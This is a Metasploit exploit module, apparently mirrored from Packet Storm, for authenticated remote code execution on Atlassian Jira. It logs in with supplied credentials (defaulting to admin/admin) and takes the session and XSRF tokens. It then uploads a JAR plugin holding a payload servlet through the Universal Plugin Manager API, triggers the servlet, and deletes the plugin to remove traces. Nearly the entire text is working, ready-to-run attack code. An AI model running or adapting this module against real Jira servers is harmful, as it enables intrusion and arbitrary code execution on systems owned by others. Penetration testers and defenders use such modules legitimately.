Share
## https://sploitus.com/exploit?id=PACKETSTORM:150335
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Atlassian Jira Authenticated Upload Code Execution',  
'Description' => %q{  
This module can be used to execute a payload on Atlassian Jira via  
the Universal Plugin Manager(UPM). The module requires valid login  
credentials to an account that has access to the plugin manager.  
The payload is uploaded as a JAR archive containing a servlet using  
a POST request against the UPM component. The check command will  
test the validity of user supplied credentials and test for access  
to the plugin manager.  
},  
'Author' => 'Alexander Gonzalez(dubfr33)',  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/'],  
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/'],  
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/']  
],  
'Platform' => %w[java],  
'Targets' =>  
[  
['Java Universal',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'java'  
}  
]  
],  
'DisclosureDate' => 'Feb 22 2018'))  
  
register_options(  
[  
Opt::RPORT(2990),  
OptString.new('HttpUsername', [true, 'The username to authenticate as', 'admin']),  
OptString.new('HttpPassword', [true, 'The password for the specified username', 'admin']),  
OptString.new('TARGETURI', [true, 'The base URI to Jira', '/jira/'])  
])  
end  
  
def check  
login_res = query_login  
if login_res.nil?  
vprint_error('Unable to access the web application!')  
return CheckCode::Unknown  
end  
return CheckCode::Unknown unless login_res.code == 200  
@session_id = get_sid(login_res)  
@xsrf_token = login_res.get_html_document.at('meta[@id="atlassian-token"]')['content']  
auth_res = do_auth  
good_sid = get_sid(auth_res)  
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"  
res = query_upm(good_cookie)  
if res.nil?  
vprint_error('Unable to access the web application!')  
return CheckCode::Unknown  
elsif res.code == 200  
return Exploit::CheckCode::Appears  
else  
vprint_status('Something went wrong, make sure host is up and options are correct!')  
vprint_status("HTTP Response Code: #{res.code}")  
return Exploit::CheckCode::Unknown  
end  
end  
  
def exploit  
unless access_login?  
fail_with(Failure::Unknown, 'Unable to access the web application!')  
end  
print_status('Retrieving Session ID and XSRF token...')  
auth_res = do_auth  
good_sid = get_sid(auth_res)  
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"  
res = query_for_upm_token(good_cookie)  
if res.nil?  
fail_with(Failure::Unknown, 'Unable to retrieve UPM token!')  
end  
upm_token = res.headers['upm-token']  
upload_exec(upm_token, good_cookie)  
end  
  
# Upload, execute, and remove servlet  
def upload_exec(upm_token, good_cookie)  
contents = ''  
name = Rex::Text.rand_text_alpha(8..12)  
  
atlassian_plugin_xml = %Q{  
<atlassian-plugin name="#{name}" key="#{name}" plugins-version="2">  
<plugin-info>  
<description></description>  
<version>1.0</version>  
<vendor name="" url="" />  
  
<param name="post.install.url">/plugins/servlet/metasploit/PayloadServlet</param>  
<param name="post.upgrade.url">/plugins/servlet/metasploit/PayloadServlet</param>  
  
</plugin-info>  
  
<servlet name="#{name}" key="metasploit.PayloadServlet" class="metasploit.PayloadServlet">  
<description>"#{name}"</description>  
<url-pattern>/metasploit/PayloadServlet</url-pattern>  
</servlet>  
  
</atlassian-plugin>  
}  
  
# Generates .jar file for upload  
zip = payload.encoded_jar  
zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)  
  
servlet = MetasploitPayloads.read('java', '/metasploit', 'PayloadServlet.class')  
zip.add_file('/metasploit/PayloadServlet.class', servlet)  
  
contents = zip.pack  
  
boundary = rand_text_numeric(27)  
  
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"plugin\"; "  
data << "filename=\"#{name}.jar\"\r\nContent-Type: application/x-java-archive\r\n\r\n"  
data << contents  
data << "\r\n--#{boundary}--"  
  
print_status("Attempting to upload #{name}")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rest/plugins/1.0/'),  
'vars_get' =>  
{  
'token' => "#{upm_token}"  
},  
'method' => 'POST',  
'data' => data,  
'headers' =>  
{  
'Content-Type' => 'multipart/form-data; boundary=' + boundary,  
'Cookie' => good_cookie.to_s  
}  
}, 25)  
  
unless res && res.code == 202  
print_status("Error uploading #{name}")  
print_status("HTTP Response Code: #{res.code}")  
print_status("Server Response: #{res.body}")  
return  
end  
  
print_status("Successfully uploaded #{name}")  
print_status("Executing #{name}")  
Rex::ThreadSafe.sleep(3)  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/metasploit/PayloadServlet'),  
'method' => 'GET',  
'cookie' => good_cookie.to_s  
})  
  
print_status("Deleting #{name}")  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, "rest/plugins/1.0/#{name}-key"),  
'method' => 'DELETE',  
'cookie' => good_cookie.to_s  
})  
end  
  
def access_login?  
res = query_login  
if res.nil?  
fail_with(Failure::Unknown, 'Unable to access the web application!')  
end  
return false unless res && res.code == 200  
@session_id = get_sid(res)  
@xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']  
return true  
end  
  
# Sends GET request to login page so the HTTP response can be used  
def query_login  
send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'))  
end  
  
# Queries plugin manager to verify access  
def query_upm(good_cookie)  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/upm'),  
'method' => 'GET',  
'cookie' => good_cookie.to_s  
})  
end  
  
# Queries API for response containing upm_token  
def query_for_upm_token(good_cookie)  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, 'rest/plugins/1.0/'),  
'method' => 'GET',  
'cookie' => good_cookie.to_s  
})  
end  
  
# Authenticates to webapp with user supplied credentials  
def do_auth  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'),  
'method' => 'POST',  
'cookie' => "atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}",  
'vars_post' => {  
'os_username' => datastore['HttpUsername'],  
'os_password' => datastore['HttpPassword'],  
'os_destination' => '',  
'user_role' => '',  
'atl_token' => '',  
'login' => 'Log+In'  
}  
})  
end  
  
# Finds SID from HTTP response headers  
def get_sid(res)  
if res.nil?  
return '' if res.blank?  
end  
res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''  
end  
end